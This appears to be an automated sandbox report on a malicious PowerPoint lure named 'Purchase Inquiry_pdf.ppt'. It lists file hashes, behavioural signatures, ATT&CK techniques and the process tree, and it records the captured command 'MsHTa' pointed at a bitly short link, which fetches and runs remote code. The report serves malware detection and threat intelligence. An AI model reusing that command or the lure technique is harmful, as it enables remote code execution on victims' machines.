Analysis

  • max time kernel
    138s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-en
  • submitted
    15-09-2021 06:33

General

  • Target

    Purchase Inquiry_pdf.ppt

  • Size

    26KB

  • MD5

    42c6c6e05ac8066594a8caf9dac49943

  • SHA1

    c83f30ff485b3ca6a8d4068c398aeb2d7368f14f

  • SHA256

    26dd67c14738a6c47e2eab3cf7eae088640d406617c4630bdd0f402369cd7184

  • SHA512

    15df38db85f11ac6ebc7b9e059efadc63b448102cce5c031bfd6d40592cd1cc3022898332b9adc1496af3dd06bc5bf5c7ff371f7b4113ea1009a54a838ce3d0d

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 15 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Purchase Inquiry_pdf.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1784
      • C:\Windows\SysWOW64\MsHTa.exe
        MsHTa HTTp://bitly.com/dasdaasfasfabdjyahsd
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        PID:1448

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1448-59-0x0000000000000000-mapping.dmp
    • memory/1784-56-0x0000000000000000-mapping.dmp
    • memory/1784-58-0x000007FEFC161000-0x000007FEFC163000-memory.dmp
      Filesize

      8KB

    • memory/1960-53-0x0000000074671000-0x0000000074675000-memory.dmp
      Filesize

      16KB

    • memory/1960-54-0x00000000717B1000-0x00000000717B3000-memory.dmp
      Filesize

      8KB

    • memory/1960-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1960-57-0x0000000075C11000-0x0000000075C13000-memory.dmp
      Filesize

      8KB

    • memory/1960-60-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB